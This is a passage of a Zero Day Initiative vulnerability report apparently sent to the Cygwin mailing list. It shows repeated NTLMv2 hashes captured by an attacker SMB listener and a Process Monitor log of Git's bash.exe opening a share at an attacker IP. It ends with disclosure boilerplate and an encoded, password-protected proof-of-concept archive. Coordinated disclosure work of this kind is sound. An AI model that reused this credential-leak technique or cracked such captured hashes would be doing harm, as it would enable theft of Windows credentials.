090C8408C5EE7EF0A00100000000000000000000000000000000000090024006300690066= 0073002F003100370032002E00310036002E00310036002E0032003000340000000000000= 00000 [SMB] NTLMv2-SSP Client : 172.16.16.237 [SMB] NTLMv2-SSP Username : DESKTOP-QAVUII5\zdi [SMB] NTLMv2-SSP Hash : zdi::DESKTOP-QAVUII5:0a070bdf7688033f:C4B1F0D= 2CF4B23B7475AAB780FBCB685:010100000000000000D29167A9CCDA01C53624960CE78E1= 20000000002000800310030003500320001001E00570049004E002D00340038005A005300= 520036004900570034004300540004003400570049004E002D00340038005A00530052003= 600490057003400430054002E0031003000350032002E004C004F00430041004C00030014= 0031003000350032002E004C004F00430041004C000500140031003000350032002E004C0= 04F00430041004C000700080000D29167A9CCDA0106000400020000000800300030000000= 0000000001000000002000002E8C50779CF8723DE89AF83DA6BB6949A5588475E1B4A4B6C= 090C8408C5EE7EF0A00100000000000000000000000000000000000090024006300690066= 0073002F003100370032002E00310036002E00310036002E0032003000340000000000000= 00000 [SMB] NTLMv2-SSP Client : 172.16.16.237 [SMB] NTLMv2-SSP Username : DESKTOP-QAVUII5\zdi [SMB] NTLMv2-SSP Hash : zdi::DESKTOP-QAVUII5:e8f874be1a16042c:255BDD0= 64E5A8C080FC3E0438A1D3502:010100000000000000D29167A9CCDA01F2A0B31CD1B4EB1= 90000000002000800310030003500320001001E00570049004E002D00340038005A005300= 520036004900570034004300540004003400570049004E002D00340038005A00530052003= 600490057003400430054002E0031003000350032002E004C004F00430041004C00030014= 0031003000350032002E004C004F00430041004C000500140031003000350032002E004C0= 04F00430041004C000700080000D29167A9CCDA0106000400020000000800300030000000= 0000000001000000002000002E8C50779CF8723DE89AF83DA6BB6949A5588475E1B4A4B6C= 090C8408C5EE7EF0A00100000000000000000000000000000000000090024006300690066= 0073002F003100370032002E00310036002E00310036002E0032003000340000000000000= 00000 [SMB] NTLMv2-SSP Client : 172.16.16.237 [SMB] NTLMv2-SSP Username : DESKTOP-QAVUII5\zdi [SMB] NTLMv2-SSP Hash : zdi::DESKTOP-QAVUII5:b7e3a6f69f1ba3dc:4FBC3B5= E8781619637C21E21575EB522:010100000000000000D29167A9CCDA0161610316FA9D3D4= E0000000002000800310030003500320001001E00570049004E002D00340038005A005300= 520036004900570034004300540004003400570049004E002D00340038005A00530052003= 600490057003400430054002E0031003000350032002E004C004F00430041004C00030014= 0031003000350032002E004C004F00430041004C000500140031003000350032002E004C0= 04F00430041004C000700080000D29167A9CCDA0106000400020000000800300030000000= 0000000001000000002000002E8C50779CF8723DE89AF83DA6BB6949A5588475E1B4A4B6C= 090C8408C5EE7EF0A00100000000000000000000000000000000000090024006300690066= 0073002F003100370032002E00310036002E00310036002E0032003000340000000000000= 00000 [SMB] NTLMv2-SSP Client : 172.16.16.237 [SMB] NTLMv2-SSP Username : DESKTOP-QAVUII5\zdi [SMB] NTLMv2-SSP Hash : zdi::DESKTOP-QAVUII5:9bceb9d050c9b28f:1618EE6= 9D7DEA633EBD38C27ACC89190:010100000000000000D29167A9CCDA01D3E44752D8FA554= B0000000002000800310030003500320001001E00570049004E002D00340038005A005300= 520036004900570034004300540004003400570049004E002D00340038005A00530052003= 600490057003400430054002E0031003000350032002E004C004F00430041004C00030014= 0031003000350032002E004C004F00430041004C000500140031003000350032002E004C0= 04F00430041004C000700080000D29167A9CCDA0106000400020000000800300030000000= 0000000001000000002000002E8C50779CF8723DE89AF83DA6BB6949A5588475E1B4A4B6C= 090C8408C5EE7EF0A00100000000000000000000000000000000000090024006300690066= 0073002F003100370032002E00310036002E00310036002E0032003000340000000000000= 00000 ``` procmon log ``` Date: 7/8/2024 2:07:57.3678237 PM Thread: 4844 Class: File System Operation: CreateFile Result: ACCESS DENIED Path: \\[attacker IP]\test007\ Duration: 0.0112557 Desired Access: Read EA, Read Attributes, Read Control Disposition: Open Options: Open Reparse Point Attributes: n/a ShareMode: Read, Write, Delete AllocationSize: n/a Description: Company: Name: bash.exe Version: Path: C:\Program Files\Git\usr\bin\bash.exe Command Line: "C:\Program Files\Git\usr\bin\bash.exe" --login -i PID: 6172 Parent PID: 1844 Session ID: 1 User: DESKTOP-QAVUII5\wmliang Auth ID: 00000000:0015a222 Architecture: 64-bit Virtualized: False Integrity: Medium Started: 7/8/2024 2:07:57 PM Ended: 7/8/2024 2:07:57 PM Modules: bash.exe 0x100400000 0x245000 C:\Program Files\Git\usr\= bin\bash.exe 1/14/2024 5:25:36 AM msys-2.0.dll 0x210040000 0x1227000 C:\Program Files\Git\usr\= bin\msys-2.0.dll Red Hat 3.4.10-87d5722901e1172a57aa4d4e3db84fbafe7= 0d19b 2/14/2024 4:11:38 PM 0 FLTMGR.SYS FltGetStreamContext + 0x20cb 0xfffff8045abe961= b C:\Windows\System32\drivers\FLTMGR.SYS 1 FLTMGR.SYS FltGetStreamContext + 0x1b51 0xfffff8045abe90a= 1 C:\Windows\System32\drivers\FLTMGR.SYS 2 FLTMGR.SYS FltRequestFileInfoOnCreateCompletion + 0x4ef 0= xfffff8045ac21f6f C:\Windows\System32\drivers\FLTMGR.SYS 3 ntoskrnl.exe IofCallDriver + 0x55 0xfffff80455c29b45 C= :\Windows\system32\ntoskrnl.exe 4 ntoskrnl.exe ProbeForWrite + 0x40fe 0xfffff8045619c8be C= :\Windows\system32\ntoskrnl.exe 5 ntoskrnl.exe ObOpenObjectByNameEx + 0x1844 0xfffff804560cc9e= 4 C:\Windows\system32\ntoskrnl.exe 6 ntoskrnl.exe ObOpenObjectByNameEx + 0x1f2 0xfffff804560cb39= 2 C:\Windows\system32\ntoskrnl.exe 7 ntoskrnl.exe NtCreateFile + 0x4c1 0xfffff80456194311 C= :\Windows\system32\ntoskrnl.exe 8 ntoskrnl.exe NtCreateFile + 0x79 0xfffff80456193ec9 C= :\Windows\system32\ntoskrnl.exe 9 ntoskrnl.exe setjmpex + 0x9045 0xfffff80455e2d505 C= :\Windows\system32\ntoskrnl.exe 10 ntdll.dll NtCreateFile + 0x14 0x7ffb3fdf03f4 C:\Window= s\System32\ntdll.dll 11 msys-2.0.dll setpassent + 0x2ff3 0x2100929c3 C:\Progra= m Files\Git\usr\bin\msys-2.0.dll 12 msys-2.0.dll cygwin_split_path + 0x2c68 0x210096988 C= :\Program Files\Git\usr\bin\msys-2.0.dll 13 msys-2.0.dll sigfillset + 0x6935 0x2100c40a5 C:\Progra= m Files\Git\usr\bin\msys-2.0.dll 14 msys-2.0.dll sigfillset + 0x7f98 0x2100c5708 C:\Progra= m Files\Git\usr\bin\msys-2.0.dll 15 msys-2.0.dll sigfillset + 0x9f81 0x2100c76f1 C:\Progra= m Files\Git\usr\bin\msys-2.0.dll 16 msys-2.0.dll timegm + 0x4db 0x210193f2b C:\Program Files\= Git\usr\bin\msys-2.0.dll 17 0x110000000 0x110000000 ``` -- CREDIT --------------------------------------- This vulnerability was discovered by: solid-snail working with Trend Micro Zero Day Initiative -- FURTHER DETAILS ------------------------------ Supporting files: If supporting files were contained with this report they are provided wit= hin a password protected ZIP file. The password is the ZDI candidate numb= er in the form: ZDI-CAN-XXXX where XXXX is the ID number. Please confirm receipt of this report. We expect all vendors to remediate= ZDI vulnerabilities within 120 days of the reported date. If you are rea= dy to release a patch at any point leading up to the deadline, please coo= rdinate with us so that we may release our advisory detailing the issue. = If the 120-day deadline is reached and no patch has been made available w= e will release a limited public advisory with our own mitigations, so tha= t the public can protect themselves in the absence of a patch. Please kee= p us updated regarding the status of this issue and feel free to contact = us at any time: Zero Day Initiative zdi-disclosures AT trendmicro DOT com The PGP key used for all ZDI vendor communications is available from: http://www.zerodayinitiative.com/documents/disclosures-pgp-key.asc -- INFORMATION ABOUT THE ZDI -------------------- Established by TippingPoint and acquired by Trend Micro, the Zero Day Ini= tiative (ZDI) neither re-sells vulnerability details nor exploit code. In= stead, upon notifying the affected product vendor, the ZDI provides its T= rend Micro TippingPoint customers with zero day protection through its in= trusion prevention technology. Explicit details regarding the specifics o= f the vulnerability are not exposed to any parties until an official vend= or patch is publicly available. Please contact us for further details or refer to: http://www.zerodayinitiative.com -- DISCLOSURE POLICY ---------------------------- Our vulnerability disclosure policy is available online at: http://www.zerodayinitiative.com/advisories/disclosure_policy/ TREND MICRO EMAIL NOTICE The information contained in this email and any attachments is confidenti= al and may be subject to copyright or other intellectual property protect= ion. If you are not the intended recipient, you are not authorized to use= or disclose this information, and we request that you notify us by reply= mail or telephone and delete the original message from your mail system. For details about what personal information we collect and why, please se= e our Privacy Notice on our website at: Read privacy policy --_002_DM5PR0102MB34771F931BA1B90A126291DE80812DM5PR0102MB3477_ Content-Type: application/x-zip-compressed; name="ZDI-CAN-24744.zip" Content-Description: ZDI-CAN-24744.zip Content-Disposition: attachment; filename="ZDI-CAN-24744.zip"; size=1772; creation-date="Thu, 15 Aug 2024 18:23:51 GMT"; modification-date="Fri, 16 Aug 2024 14:24:41 GMT" Content-Transfer-Encoding: base64 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 BgAAAAA= --_002_DM5PR0102MB34771F931BA1B90A126291DE80812DM5PR0102MB3477_ Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline -- Problem reports: https://cygwin.com/problems.html FAQ: https://cygwin.com/faq/ Documentation: https://cygwin.com/docs.html Unsubscribe info: https://cygwin.com/ml/#unsubscribe-simple --_002_DM5PR0102MB34771F931BA1B90A126291DE80812DM5PR0102MB3477_--